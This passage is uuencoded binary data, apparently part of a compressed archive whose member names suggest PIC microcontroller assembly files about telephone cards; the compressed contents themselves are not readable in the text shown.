  1467. M,.1]`"DV.!JH^PEFGP(G$:\KBC_`"URJ?57)KYJR9R"4<Y"++0?4;Q$-:K'8
  1468. M(M9/K$-L9/I+JZ7^.$41/%8N=6FU'-#N=T!&V#BM*(K2Y<`-O)%^QR5\CH@P
  1469. MQE]*%'.9))=EN`^1YK#.,6+G-P"ZP8D,;`:4A1ZQ-7Z@,@![U`]2<:$@%[C/
  1470. M%A1GD)/UAOX"7&WYE0;J6G[%2%$2-2<ZL#52)XFJ_07U8^N.1GAC5S"=@7($
  1471. M%$5[FC@G:J0Q^K9]$VS$T[JZ@:O'625.=]KDP<$QHC7LFS9UC]8OM>O\2U4*
  1472. M/M<-J]W@]AC6NFI9UNZUK*V3*V_F`3]M>S-3MXR%1\L\*KRSV)`5%3W"R3&#
  1473. M\#D5\KCQF)8Z@EJ^KQTFQBNJ3<%=4<44+#Y*28'E$,R%T,JC8KXGZ><XP\SD
  1474. M:GYF6IS*O,;55!.)$&QP7]_<:469OTQ7E>B\X9<5)]Q7_F5"-KYJM1OB/RU]
  1475. MJTRCU&QZ#_F13%.S^2*FFBRF:]6Z:(W(8V`XA[-,<PH[`4LS7'U%(,+^9V=G
  1476. MVLQWH.UI/N;]))[U'4ZG.M=7,KRZORVSSB3U_17Z;6MP_@6E61CF)75.EM\F
  1477. MU/KJG%ZB]PRD.H.ZQ_D.'M5.)IME(O,S6_2T3ZKM#)3@->)?:0?BZ/@;,1+_
  1478. M:$@J+K_F](Y.CN5=)?!J(LPU<\?MCR_RJ[&0^_3T5#*61_W5>F^;S_P[G_YL
  1479. M6>:SW:(?MNC/SUO[79C/[]Z9SY>7YO/5U6%^[R_$URUO,CHY_B]02P,$%```
  1480. M``@`2E(P'8XZ.`_+"```^!\```P```!414Q%0U)$,BY!4TW%65MSV[@5?K9G
  1481. M_!^.LYY-.Z6]I.S8[GCR0$NTPU:W4O*Z?<I`)"AA0Q$*"5IQ?GUQ(4B0E-S$
  1482. MS6PTCC0ASH=S\.'<`!X='LS]^=`#@#?^;`)7U\XES)[3<)71E!8YC/":9L_0
  1483. M1UD$WKI($*/9&XX:^K,Y!\'T_=3O.Y?]ZPL+@O<?O'_S,7_<'SX,/'C#AP+O
  1484. M_LS[UP.''!W>@)8%_[<)3$D*;IZ39;K&*8,AR9F0Z@>#C_WA/T%_\.="_MKE
  1485. M_V\@N+7A;Q"X%_!>&=9/:/A)(0=S]R6D:VO,`#$$DX)M"J:0@5I0`^D8.AV-
  1486. M#'".F05#NCUU0T:>L,(_>M#!7QGX*XU_S`C#IUZ*%@FVX`.I9FDP%+@CKFG)
  1487. M2<&905.N*?('777V%]L.I;K9&F4L%-K\@05.#Q;/#'/LW<.L/Y[O1#K7$GE7
  1488. MY#B"(B4LAY`6*5=_='CKS_?"_BYAMX15TL/)9&J*F])(2@\IW4!?RWO>Q[NA
  1489. M>[]3?B'E/6\:3$:*.;A+T/+H<.Z-I@[L-DEQ,,?K#<U0]@PSQG^7&'YQ%*ZW
  1490. M!Q?MP_44[GP/#N_#G2O<Q1Y<O`]WH7`?'W?B>FU]CS!#3QC<*,IPGI?8V6YL
  1491. M1^?<G3_,6A,<'1[0;%EB>K9MUW/=0']%-N`/9`1QP6BK!NR+GF7\ZTYRU9B$
  1492. MIC%9%AEBA*;2Z7)CKMNWMOHX;]OS.$UC?.%"*4I4/)=^4B:MO_15`,BQX[^*
  1493. M^1>@B;AV+/XM;/W"]8AO1S[IR2?GYTWIBPOQ]-T[\7UY*;ZOKFK,]453VC8=
  1494. M[`;N.*DK%?LJNAYD=$G_;RQOZHO(-Z$RUYP^X9#1C`LN*:-BP!_[1C0*P7\4
  1495. MZPWP0<*G)B@A7Q6Q&2T827%#BS^>_^[U.R06&T/1IN`6[_C<*$?)RL0D]BQ$
  1496. M25)..W+]L;G'8F2-2,JM4@IJ>PXV=`.[-?`U<R.:2C+,8H)W2?.1(DLASNBZ
  1497. M5O,KA`E&&<0R530<R';LYGH8RA@@Y?D0TTQ2*`T].SK41"_R6,JK:+&"J:WQ
  1498. M;A@*H#86%BC]!([@)<FV$=ME<E_:MD4L7$5T"8RL118\6-.G9"N=WW$<;J9M
  1499. MORT!D^G<GXR%CC/(,>,,+G,%V`JSRN'&H@2!G/@:*:UK:Q&?2LL,,YA.@CFX
  1500. M,,^X.&(8AL)(;"J;!_[,;3%8*BO!3(-?TNITM-[^+ZVW+VB]W:EU$7[7KMEJ
  1501. MUR0FF/>-$*EW33PWQ(3R)AM*3#YOR37MK^5N#7[LR%0JY)QS5;M%<(=T\VR0
  1502. MTJZS!BGED#ESV)Y9>;Z(-9(N`3$XX3(<&[@C0\G=+.C@2B5\R%BBY[D#4[0*
  1503. M+:;3<EE>!,^>UY],_P,@-NG[0TM#Q"QCQPH&M4K,RJ<08%1V>:IA>(TW<!+B
  1504. MK50T<,U]OE&STQ3+S0$:ZS6615&SYX\'?IN4DCW1X&VH2%F1X&CQ7/))4F5G
  1505. MEW@_#3.,<BR'%#0S`-T-J`"M#9A6V`B'<?ZU<B6K;G@'N,1J+RM21A(@[*W<
  1506. MP*H4Z9VLM=Y30&D$2[X5.5UC6(L%2Q\^?N5VAXWM]CS_KA%$C>[03]E9>\=+
  1507. MX&/@C4M@`S(@N>C%7^TB.K/9,FE7^51U^*(N5@6VX1GS_IZDK89$W=(%]36D
  1508. ML3@/S;4;_1L./P&)NUVU"!]C:QOE7)GXB6PZ2"):F?4FP0Q'+^Z6;&9*4(F0
  1509. MS=^?MUF"E%SJD"<.:U@6%4V**/\[SAHO,.+'D%(&\D3XA^C!%HC/(_Q_BX@1
  1510. M`(U$V3SN['3C4O'^[*UZ2,Z];)8BX3<R%9W8H>%ENY)RZ66MG%"=QJJDUSXK
  1511. MWL`]W[YXU_G0T-=.E(8^,?1#$OX^WU`19[B&BB3KWO>JM*;<!T1KJMO%W"3Z
  1512. MW;L6T2.T)"&,B_6"6_2+T_&1QNJY-J/W;ZQ>#)F*$'I14>__5=3AK)+UON"P
  1513. M8+@]N09T22LS68,S0$M$TN/7Q>'^>)IF=)FAM3HV))1NCD4>U&<+G=1*$_G/
  1514. M72=^6_FV/C+)*7J-T*W#E@MIB492MW]T4C]0!Q9C5;U7YK)RNV2K:=5W7ZH)
  1515. M,JZWX`-9KHR*('M.J[[R,BI")C,TR3GS6X.[\:1Q.U:E/0MR41`4*L>?"YR&
  1516. MV,@@W29:9!#Y]'>4%*9'MZ])#.;DT+>WYOLC>58L6(9"!B=\2!X8]=1YL:BM
  1517. ML&P#([KNRK7DA9I<[1G_"$K3KU`3U.O6A:\XH[6'*3'31O.BH$SK,K^*SG*%
  1518. M<CCA$J+3EJG8[,H[N5G1%1=)`D^"VP:LS@7MNJ<:YD[AT0MJ)5(SX"3G9ASH
  1519. MFE6>R#N?&QB1/!<5WPU#4?Y)OL*1I4_PG)\<IY$H)UH_P"L\J7U7*>Z:-L]`
  1520. MF-"@!EM^9UXC-J3E8$NX>;73$FXD^$N[M?PA11$\PI:P%9Q<VBV_<QI^5_LJ
  1521. MGZ;R55D+E<M!/_`&YBV0]#DBHQ=_+E`B;%):%N$^!,U@F6'$]\\"ML*IBF<.
  1522. M5/4=\3&QH2KN=BP_H/+(K0:$S^8,;R`CRQ7[";B*^=@`=9F/N2A*HWI'+<<0
  1523. M==.HG%]*/[9N,:0W=@TS%6A'0%&TIW=SH]J:1KNV[[`=B6RN[ZBJD[<VIWO(
  1524. M%,$A,+(CW'7(-#W:O-6NTB[3F??<)-:XPMU!K'W58M;9R:QCBFMO%@$_:7LS
  1525. M7VZ12(]6>51Z9[XB,9.MP=$AAXCC*61)[3&MY4AI];QRF`3'S#C\=DV5AU_Y
  1526. M5DH9K,Z^P@BC*FKE>Y)^AC>84ZZ/S7P5QRJOB67J@X@TS!I5=UM&+18/:5R:
  1527. M+OI\>3;3";E;]55";KS6:O?!?UKZUIE&+[-N.=1;,F.9]2LQW5OQM98=B]%_
  1528. M/`8-YW`7-&.PE3"ZP>5K!"+Y+TMS1W6GVZG?YOT@G=753:<Z5S<QHKJ?%IO.
  1529. M`>K;*_1IZ[S\$TJS).8U=4Z5WSK4=M4YLT3O.8>:"JH>YQMTE#,UU2Q2E9_Y
  1530. MH&>\4VUGH!0OD7A-:\FM$T_D2?A[0U)K^3F[=\#_O/'@Z/"_4$L#!!0````(
  1531. M`)M$+AW$&QM@"@4``#P7```,````5$5,14-!4D0N0C`QE9A+C]LV$,?O`?(=
  1532. M"-W;D#-\"3T4BM9)W.QZ#5N[27LI@F#1YM`'VGY^H"3%&;THRX8!P?)_R!^'
  1533. MG*&'_*'[\N=O?WUW_OK[RQ]?_OOV53RK[T&^B//+/]]>_A7[_>M777-X__CK
  1534. MN?VP>VBZ?2M4^#2O7YT_[':=D.&CE*U1>+!>V/#[_I>=0.6,4";\;)TTPIC:
  1535. M#;^]?O73TZ$56DLI(#SRNX'X;OE=QW>#PSO&=S6\FZD]`NO'YM0)[>)[A&BL
  1536. MP\.%T00YCR8-/#UE\BBT:KKN)*KNY^.N$K6H/G?-?=7WHKWL+9&L[G;G_?M#
  1537. MTSV>>EN5+8V96W[^,5E4/25^6$F`2YJ>:<?](6-4')7F;^S*I)-#\Q!<45)4
  1538. MC^<6X@@A-U"V'V+H,'@26E=-D(V/<K!1X%G/0&0@7@E4!,0B\",!<0P\[=JN
  1539. M(:8D_](JYG7='>[R`H=5#6VB$3J)`FR=S)W0$(90;Z_P<=\JVWI=]11,,W-A
  1540. ME9^"2QA#`7%N^;2ZR@-DKJ?)E>1#^@8IV@1<GMQ3$Q>S;QDFS\%\;N/41P6\
  1541. MCQV/UE(Q3MV`PXI:%G%Q-*J(`\;!#3C]YM2U;47-B\PX)"@RD9E(3+7%?&CO
  1542. MPQ+GID6>CG*1IYFGB>>V>.\/=Q6U+.),E(LXPSAS_92^E6_VAZZBUD6DC7(1
  1543. M:1EI;T#&(+3K.!?E(LXQSMV`@XI:%G$^[T9+G&><OP$7X\^OX^HH%W$I;6M*
  1544. M^!3B6N!62BA*^-B?DGJ1\3ZG?'J,=V_%/'4#3U+&K_%<SOD%#Y@']%!;O/QO
  1545. M`9>`-B?\`H@,1-YHK@`"Y?L:T.2,7P`U`S4!W1;P.>UG^A)/YY1?\`SSS/4K
  1546. M^-91MJ_Q,.?[@F>99V_@64KW-1[DA%_P'//<#3Q#^;[&H_ICP?/,\S?P-"7\
  1547. M&D_FE!_S<CDS5"JZ)OBRG*'Z5:"*]:I'%2P#W,!5]6K;'"N!QL22*CQL'*$B
  1548. MJ^?F_JDW`Q!_OR/#.*3:7BAY8IKTIG%T-GO=G%J!UKM<3((12J-P.H[J?G_8
  1549. MA2;LB\%L)D>JA:Q:LANKL84,G>:VS@SUTJAC&)IN%*--]&%2^JI9Z8LX+7U5
  1550. MIO'PTI+10"_3WD::)YK6<US4^T(<\G*6(P$I$HSD2-"W1H*Y-A)@,Q(4F>IB
  1551. M)."E2$".!"Q$`G(DS-78`C@2<!D)R)&`-T4"7HX$+$<"_]700*^,!-R(!%R+
  1552. M!%/SU(2OHQ,UNJLB87]^=#[^=::.E)67C[%/4`D+_8%J9LD'')NJ7*]F.I-&
  1553. M1HM.V*ATL$U#A'3$M/0-MA;TTZF+SD&V7QXSH^_.1WE^KNUYP#RXAM?>?R0>
  1554. M%'F.>%#F2>;):WBG,_LGBSQ//%GD(?N'?26VP;MKNB8#L>P@9""N.&C909L*
  1555. MHPU@*HQZ!VV19\A!6^9YYOEK>.GDU?-\D:>)Y\L3R@N8OFW[=SS2?)87$&D^
  1556. M5Q:0$P*O2HAW3^<=`<L9H0@XR8A<J?3[1)P9ZVCK&5<JG_:G7;ZI2_LOY#(Q
  1557. M*_T16(X/PUE)T312Y-!FJ&I-?DP4P]=X@V(T[Q7KBN7[Q;XWSCH^QBX4SDSJ
  1558. M#1<A-E'X0FRD:#U51B/`R;S!R%-6^-)B,M>3I!ISTM"+J]#/J)XJH_]+VA.6
  1559. M"N92G'I35)J7%>"SY4B!R0&PO\4=/.V5X3ZWCY!Z<;$Y428WD(NHPCG'T)[.
  1560. M]R0+A??]\:C!CJ^KELIPZ_P_4$L#!!0````(`*)$+AW[.7CW$P4````@```,
  1561. M````5$5,14-!4D0N0TU0[5A;3QM'%#Z[W@064R#@A$L2V``-A!C8F[VFBE0M
  1562. M:R=UPL6RS>4!J5()2I`01B0OE?*`JDK]#97R`_+8O%1YJ)I(;=0^]*&J^`'-
  1563. M#ZC4]Q*[Y\S,WK*_H'0/:[/S?=\9S^R<F3TSFS*X`"L`51G*%\`M`4"S"RHR
  1564. M_M<T$V2E\^[ENY?0#=7&NE,RBC`MU:J>4?1*-I"=:)IFD.S5F]_>0A\TUN\;
  1565. M)9B0MION2B"P(O4P(B<S-\8'U0T1:'+0_[4!F;DSC'E6,@AH.D>\UM&7Q_N/
  1566. M'C_59KU;FK%46LHOZ9KK>945K;FW^_BP==!ZM+_W)*]5#W<7-&-!SVOKM<H:
  1567. MM#/![X/R]^OI7R4IUR<K$FLC;&!S90FHN?5JP],JE5I]?55;W=\];NVV#I\>
  1568. MMPX.]HY!!>@Y;3_OE._D)0#\*'77A*Q!:"F&6I`U"3UM1U%[L=[T/,A:1!VU
  1569. MW8!:]5;JD+4)[FW?"^![:V7(%@A]\3Y2S[*^6%UK0K9(3#G&&)!U"/WS+(J:
  1570. MT>Y+V1(IGL44V-XEZ/E.>=Y1[IRV`?"#[<7:<&@1+L5@'6&'X-.V%,#K#8_D
  1571. M1<*/VG(4IT=4(+RWW17@F_0@#)O@%^\CM2\["%L$EV-P$6&3X#_/HG`!88/@
  1572. M9S'81EC'\9+Z`4;.OKX?=O^K#'[)@^I#J/T#%^7![KST$.B&ARO&PJ?@%[HA
  1573. M"%55DE2054F&_[SE8!#'/0.=SIRT5FE^KNN&YAO.0J]>-G9@@&8;?0'U6`)?
  1574. M:B:E.9+FDE(K*1TCZ5A2:B>EXR0=3TH+2>DD22>3TF)2.D/2F:3424KG23J?
  1575. ME):24IVD>BC-R^SFI/+)SF=NO;SEUBL[8GW;$4X0.$]E(!,L=A+^;1MTL1HN
  1576. M_O3MSP3-9*`KMG(2N&'0Q71;;[[X0>AZV#+IUI@$IQY>IJD=W66ZS1]?^_5E
  1577. M8SJ#KJCNF[>$W\Q`;W1Q9C]KTL5DW_\R^HJ@$04GVQ`)EV$9_[&XH3(C/B;"
  1578. MI;<.&RE61L*`X="#A<^P3]S\P(/*8PI._VM$.."M/,#?9W%TS:<TH@I`RTH7
  1579. M"QZ&I)8T&7['@.MT%.A3'5SC\+FIM.I!#HLJ+\;>^*FEEMHY,0G?-G^P^=_I
  1580. M9(.%$]\;B@-S=*M`CVK!1;K%-"&UU%([5S8$?^'$5OS$:9IFN@VTU^SBZ=:T
  1581. M3]TBJ@3U1A.3!I8U$W*5J$6B3"B[31>7%)8F+_INM*,_*<)6G=QTHDR?*A)E
  1582. MP6:MQA):M*)?HT.4`7<W&A40NRR'N5EPB>>#;"NI\.SRDJ`N$_4`V.Y3X6GD
  1583. M95:C`X.LP@)WD[G;H."N,*[(_23N1]@H<B.\(;2U5W@[1@0SRCM-VWO!$#*.
  1584. MS%7>KV"+K_#LE.#K2%_G3\3?N0OV.NN#`Q-\!-@A@,1SUPE!W6!ML:-I[0W1
  1585. MF"F>\$;&;4HPLSQ+IM,`A0_;K&#FQ(`N!UV;@]3^9W:%S7_*`R@D;E-(+`$=
  1586. M`8F0N"UB+\]B#Z/%-7PJ+Z@%1F&(X5F0PF?_@J`,1N%4P(,<A<]^0U`6HW#^
  1587. MX&&.J-`2E,THG'1XH",H6U`%1NE`ASJ"(FBDFY]1B!.,<#^-1"XDS!@Q%A)6
  1588. MC!@/"3M&3(9$(4;,A$0Q1LR'A!,C])`HA<2PJ@/E62>XZ]X[?K+?.@1CP=2A
  1589. M7\4G]5%T<X;E/E[VM^,<[/\`[%/Y4"*VC8X#6+P@BNR(=L!/[WP@M=122RVU
  1590. MU%)++;5S;/\"4$L#!!0````(`&M2,!W64,AT+0@````<```,````5$5,14-2
  1591. M1#$N0T]$[9B)=Q/7%<:_T6BS,<88`S88[)`V59O$C$!F20)8ED9&P9:4D80#
  1592. M66P6DZ0A"0424A*2:VP<.\ZBD(V=[FW3EG3?V^;/Z?_0<TJ_N=)(0QN?TT)[
  1593. MNO%T_(-OEC?OWO?N)\T+X-::@?_NUG)\XO#$@:,'XWW)XLA-W!^);RI.'-F:
  1594. M^)/9:L7[K`V]#OO;=VSB(/[9S40847Z:L!A!?30_U1:*;TIM2=Q4KX.US__&
  1595. M;-YN_VAKBU7_O0:S]6.,]*YOG<*UUK[6IMKYJ14'\4=K$G^VSN"Z-8.I]DGC
  1596. MC#%CM%AS/!?MF&J/1L^AQ;K`OVG,&4W1L[V"Z>:YY@N+8C%>T1Y=.M5>L>9Y
  1597. M]6QG?ZRJ5W?WQRYJ'YW16;>?Y?/+RE0?\6^V8W[E5'M_;+[3B;7QOBB?&>J8
  1598. MZ=P?,Z)7,6F4K9Z`N68\%K#.877'?%L41O0\+N$RQJWN@-DU&3,[)V.76]S/
  1599. M$NMR:$VT9?LT$+V"B'4I9':=BEU9?&G1R=B5GE";>_=,SUQLIGLN=JZYVMNX
  1600. M=3[0&3T?,+LKL>H5IR.3B<$$$DL3ZQ(;$^E$.7$H<8)J^N9*[C^JA9/I5#YG
  1601. MU<H_6M/QN@Y1%RW/'L)5'?=T!,%D>BCO=68$7)VUT;C>U9FZ-ER=S_F^/-B?
  1602. M8Q<]W83P8+:4RI5JN@M&RC=87A].)9UT-ET[<!8A:F=/XWPPM;,^7!BFZGA=
  1603. M!Q%).>FQU/`N[WK5Z5*RT3^UU[_14CWO%$O>^/7\J%V/G]I.9VOCQ20":=^`
  1604. MW>O3O@%2AVR;$?OBM>T;\EW5&VX\7_`"C+DZG:P-U[T^:-LWYILZXX_7ML<R
  1605. MP\FAJEZ-4"8Y7+0;^3(S10>^Z\.9<K&1_TY>7R[:7KI1@3G4>)P;?RB;2V<=
  1606. M7_ZSN7HVZ"X(9W.EE#?CQB+W?,GV/\_5Z:'&^*G]ZR5"/9+,UCH80;2FJQER
  1607. M]/[==JK>GYEU"O[Q18;S^8(7D+$*YG!Q$+[U%&QTSM8/<\1_/H)`KKZZJ^LC
  1608. MEQ]S\EZ$IZJZZ.G]B%1U;0+']?RHXYV?0SA?*&7K^>!Z**0R0Y:O'EP=;\1O
  1609. M%E+#\-57F#I9VEG3S0@4TK[QF;P_F^KW?,FX;JCN_RN]J:Y-U9OK.N+JS7'_
  1610. M>+*-GQ:J\XZW_&"$JGK0YP^N3C7R9Q8:Y:CKK=`HQVI\Q0WPQ4>=],<3+HRE
  1611. M\Z.Y1CT[@[[U7M49_WPZ@X6R?_X<?WY8[YP\=TE4#YR$Z11\XPNYVC<^KD=&
  1612. MD_*/URGYUG_0/>\;3TAUQA^/4RKZ^P\72\E2N=B8KY(]4G^BT5W57D:,-56]
  1613. MT=-KJ[H^'ST(NWK,ZV]]38_6=!\")?_Z#?)^)UOTSY^K_?/G:M_\!4M.V?;%
  1614. M'RJ-Y<NE1G^!4><&OPN..G;.%W^(VG$:\V7NL7WY,&#LA>]^7K]W;+!N(,:M
  1615. MOIW<;G_/&UP47>C%-@,#D8'6@24#N-W^;]JMOO\V\_O!L8?Z[(?*-W'W[?9O
  1616. M;]>5@4\^G:*LZ+Y`1=VX8BK='0A#CQMZW-#C1NUX2!E61I1199.R6;E(V:)<
  1617. MK&Q5+E&V*9<JVY7+E!W*Y<H5RI7*3F67<I5RM;);N4:Y5MFC[%7>H5RGO%/Y
  1618. M&>5GE7<I/Z>,*3^O_(+R;N4]RGN5?<KU2DL9UR^Q!5C9H-RH3"C[E9N4FY5;
  1619. ME%N5]RGO5SZ@W*;<KMRA'%`FE8/*E#*MM)499>V5H+)3F54^J-RE'%:.*'/*
  1620. MO+*@?$CI*(O*DK*LW*T<53ZLW*/<JWQ$^:CR,>7CRC'EN'*?<K_R@/*@<D)Y
  1621. M2+.X`"M/*)]4/J7\HO)IY6'E,\IGE<\ICRB_I#RJ/*8\KGR^ONJAJQNZNJ&K
  1622. M&[JZH:L;E6;E(F6+<K&R5;E$V:9<JFQ7+E-V*)<K5RA7*CN57<I52J[N7KBK
  1623. MNQ?X&[9UP_3^S[4?)-<B0O:XA)(5$.UU>[I#ZWR=]GJG^Q,YL`!9&XR?M>%F
  1624. MP6-(R5RT*>4N=U.2->-FQ&.3LEG)O+0I)09FAQ7%[+"BF!&Y6WD/F!>Y%\R+
  1625. M](%YD?5@7L0"\R)Q,"^R`<R+;`3S(@G^>H'T@WF136!>9+,;N6P!JUZV@E4O
  1626. M]S%FR/UN@N0!,&+9!D8LV\&JEQU@U<L`XX`DP:J708X4K!Q6O:25-EC[D@%K
  1627. M7X;`VI>=8.U+%JQ]>1"L?=D%UKX,PR)'P!J7'%CCD@=K/+``I0#6/NN)M2^.
  1628. ML@@Z@)1`!Y`RZ`"R&W0`&04=0!X&'4#V@`X@>T$'D$=`!Y!'00>0QS!`/@XZ
  1629. M@(RY^[HR#CJ`[`,=0/:##B`'0`>0@U`'D`G0`>00Z`#R!.@`\B3H`/(4Z`"L
  1630. M'#J`/*T\#/J`/`/Z@#R+`OD<Z`.L'/H`*X>4H\ICH"?(<=`3Y'G0$^0%T!/D
  1631. M!.@)\B+H"?)ET!/D).@)\A+H"?(RZ`9R"G0#>05T`WF5;]`0`=V@,LFW:\AI
  1632. MY13H"3(->D)@`<H9T"MD!O0$>0WT!)D%/4'F0#>0UT$?D'G0!^0-T`?D3=`'
  1633. MY"T<(=\&?4`JH`_(.Z`/R%G0!^1=T`?D/;Q`OH\3Y`=XD?R0;Y*0<WB)/(^7
  1634. MR0O<&X!<Q"OD);Q*7H8PBBO<(X)<57X%I\FO8HK\&KA'*5_'&?(;F"&_B=?(
  1635. M;V&6=WV;.P>0[RB_B]?)CS!/?@]OD-_'F^0/\#9YC7LTD(_Q#N_Z(??'(#]2
  1636. M_ACODC_!>^1/\3[Y,WR@\_]S?$C^`N?(7^(\^2M<8!87H/P:%\G?<,<5\EON
  1637. MND)^ARM\VN]QE?R#\A.7@85Y:@$:G\;;[5_8_@)02P,$%`````@`;5(P'=:1
  1638. MH<KU!P```!X```P```!414Q%0U)$,BY#3T3MF?M[%-49Q[^SD[WD0MB$``D$
  1639. M$L#JMM8P&^Y>('N935:2W75VEP@8$X2@5E3*15!1WY@0P6B[O0,"]M[6MMCZ
  1640. M5_5_Z/.4?N>=G=VAFE^H3WVL.?OPR7[G7/:<][SGN[.#B?^N&`CAZUPZSLV>
  1641. MFCU^YL3P4*H\<1_]H\G=Y=G3^W;^T^RTDD/6\*##\8Z=G3V!+[NT((I6OMK0
  1642. MR?<L,;Z\$D[NSNS=>5^CINLO?S=7RC>KI.>ZL&-K-7OAY$+7U_PHKY3[*/&$
  1643. M]_<.S,Y/,3:XO7,>=SJ'.EOK]?/K3N`?UAS^95W&76L1\]USQF5CT5AEW4"'
  1644. MM8"KQORZ6,]\=RPF6&B[VG:C?4N"5[IC7?/=-6N)_:_T6@E/;^RW$A\9'=95
  1645. M],:NL":V=FE-E>H3_KO2L[1^OMM*+/5.).+L%^,GA7L6>Z<21NQCS!E5:R!D
  1646. M;CJ:"%G7L+%G*1Z#$;N.F[B%&:L_9/9=2IB]EQ*W.MS7:NM6>%.L8_\"/?(V
  1647. MHM;-L-EW,7%[U<WV\XG;`^&XVWMQ8"&QV+^0N-;FC39C70_UQJZ'S/ZEA-?B
  1648. MFU$BJ6RF6+#J]A^KZV1#AZG+EO_U$/%TTM=1M*2RHT5_,"/DZKR-9GM7YQK:
  1649. M<'6QT+QY<,=S[+*O6Q%)YRN90J6N^V!D`I-UVV=2CG.XJ5LR8XWIP3!5)QN:
  1650. MWYD9)SN=&3_HMU>=K:1\'7%U/EMOW^'5.^6*/U^MG[0;ZZ6VL_GZ_'`)H6Q@
  1651. M@F[[;&""U&';Y@H#Z[/M>^+KZ>%[ZTO^`K>X.INJ3]=MWV+;]\:7.A=<KVU/
  1652. MY\93HY[>B'`N-5ZVF_$R<V4'@?:17+7<C'<OVU?+=M9OL`1SM/EQ[OK#^4(V
  1653. M[P3BGR\THD$W021?J&3\'3;:W?J*'?P\5V='F_.G#N9'E'HBE:\/,(9877L1
  1654. MFM#^A^Q,8SPS[Y2"\XN.%XLE?T'&!ICCY30"^=/2')S%@CD1K(\B5&ADLY<?
  1655. MA>*T4_17>-'395]/(>KI^@8>U?I)QZ]?0*18JN0;\6`^E#*Y42N0SZY.-M=O
  1656. MEC+C")RG"'6J,E;7;0B5LH'YF>R?S^SR;_V,NX;J7?^A=S>TJ7I/0T==O2<9
  1657. MG$^^>2NINNCXZ0<C[.ETP`]<G6G&SRPUCZ/F6ZEY'+WUE8<16!]U*KB>2&DZ
  1658. M6YPL-,^SDP[DNZ=SP?UTTJ5J</^<8'QXWKEY;DIX%\[#=$J!^85='9@?\Y&K
  1659. MR03GZU0"^=_BU@?F$U:="Z['J92#XT?*E52E6F[N5\6>:'RBT>]I/R+&)D_O
  1660. M\/5F3S?V8P`15T_[XVVOZ\FZ'D*H$LS?%O9W\N7@_KDZN'^N#NQ?2\6IVH'U
  1661. MARO3Q6JE.5YHTKG'[UHF';L06'^8VG&:^V4>M@/Q,&`<0:`_VQ^93C<,Q%BY
  1662. M`?W?%X/W6GT81)^!D>A(Y\CJ$:17I;_L3UDI_Y_//]KX?>'8HT/V4]7[Z+U2
  1663. MOO)R5QGZ[(LIRIH^%ZJI.]?TB6'-?0)EZ'5#KQMZW:A?#RLCRJ@RIFQ5MBG;
  1664. ME1W*5<I.Y6IE7-FE[%:N4?8HURK7*=<K>Y5]R@W*C<I^Y2;E9N6`<E"Y1;E5
  1665. MN4WY@/);R@>5#RD3RF\KOZ-\6/E=Y2/*(>5VI:5,ZI?:,JP-*W<H=RIW*7<K
  1666. M]RCW*O<I'U4^IGQ<^81RO_*`<D294J:5&656:2MSROI/A-J8,J]\4GE0.:Z<
  1667. M4!:4165)^93249:5%655>4@YJ7Q:>5AY1'E4^8QR2OFL<EHYHSRF?$YY7'E"
  1668. M.:L\J5%<AK7GE2\H7U1^3_F2\I3R9>4KRE>5IY7?5YY1GE6>4YYO9#TTNZ'9
  1669. M#<UN:'9#LQNU-F6[LD.Y2MFI7*V,*[N4W<HURA[E6N4ZY7IEK[)/N4')[!Z$
  1670. MF]V#P.<8[X?IOV?NMY";$24'7$+)$Q`;=$?:XO[,=,\`WRA#RQ`!QK?"9*]M
  1671. M+O$YQK<APMH'7$+)$Q4E'U1/>4A7D'!OSWFB&%.>*#>R/L-*QC>NE(?YY!L\
  1672. M:6Z4?;8JVY2,=5PICX`1YSEDQ'D.&66QE$DPUC(,QEIV@+&6G6"L91<8:]D-
  1673. MQEKV@+&6O6"L91_OB""/@K&6Q\!8R^-N-.4)T$ED/^@D<H!QA(RX0>=YXT(E
  1674. MK<RX$9(L(P&QN7I(#O23T#*443`J,@9&1?*@S\B3H,_(0<8`,@[ZC$QPE9`"
  1675. MZ#-2!'U&2J#/\!1:?.\HRZ"K2`5T%:F"KB*'0%>12=!5Y&G05>0PZ"IR!'05
  1676. M.8I]NAO/@+XB4Z"OR+.@K\@TZ"LR`_J*'`-]19[#"'D<]!4YX?YO@<R"OB(G
  1677. M05^1YT%?D1=`7Y$705_A>:.KR$O*4Z"WR,N@M\@KH+?(JZ"W\+S16WC>2#FC
  1678. M/`OZC)P#?4;.HT2^!OJ,7`!]1BZ"/B.O@SXC;X`^(V^"/A-:AG()=!YY"W0>
  1679. M>1MT'GF'O\\A`CI/;8Z_W2'O*N=!_Y$%T'_D,F;(1=!_Y#W0?^0*Z#]R%70>
  1680. M>1_T%ED"O44^`+U%/@2]17X`>HO\$/06J8'>(C\"O45^#'J+_`2GR9^"WB(_
  1681. M`[U%?@YZB_R"OT<AU_`:>1T7R!M\P@#Y"*^3-_$&>0MO<K:W^:0)\K'REWB+
  1682. M_!7>)G^-=\C?0,C?8H[\'=XE?X]Y]OH#GS]`_JC\$RZ3GV"1_#/>(_^"*[K_
  1683. M?\7[Y!T^ZX%\B@_8[V_XD%%<AK6_*S_3*\MS:AF&OH@KY2LK_P902P,$%```
  1684. M``@`0$,<'6ZKZYS`!```8A,```H```!024-214<N15%5E9A1;Z,X%(6?!XG_
  1685. MX,==:9M"TS19[1,!TB*E!1DZT<Q+18F3H"70-=!T_OW8A@2;V"3;EU:IO^.+
  1686. M[[G7E_P#`L\V'^RO+_"<)KA(BKS"198A#+P\R>HU`HLT0[JF:V3AY!YT/^B_
  1687. MFOTVOLS-AOP^2I%%$)6H`M]14A6X`2?7@!,)^"`%QR+X(`&G4G`J@M-S<&I*
  1688. M0<,P.)`L.@-G\L,1P5G_<+R7Z+MKR\%[8<=;PGIYA7#]T>%4P/'@X,Y>ODXQ
  1689. M6<\R2;;?`FN]QJ@LZ=]I211U#48V%X2H8C(5B.(,1.D>`3LKDG^!7=0Y0P-[
  1690. M"53H7?,$N-CB>']$P+(X@/FO"NE:&%G1:RAGQXP-J[BJ^4@7(?^TL@-CCQFB
  1691. MC#YRQP4^C"P%-VG"+'`%+.#=^CULKL`>.FPNP?@#Y;%IA]D]S')L_\608S/1
  1692. M?]:M0PZ452O+J4%IZ'*'*=!_2^E/A&E"("KKC#\LUW4L_K14<<SN@>L&T'\&
  1693. M3ES%@@`)YHI0.H%S3P;VTHJ>Y!JQU%A/Z78'YFE5LKHB1RF'W]NR(`@K)NX8
  1694. MVZTCZ(57F\5AU946>4_@:MNH!*XVD$R`68GK9?_#2B;-WW5TES].8'12N),K
  1695. MR!T@*-SIFA]$GBJ%34_R/WH/K6O/PK'+SNVY**N;,-WFZ29-XKRBAM&UY0!G
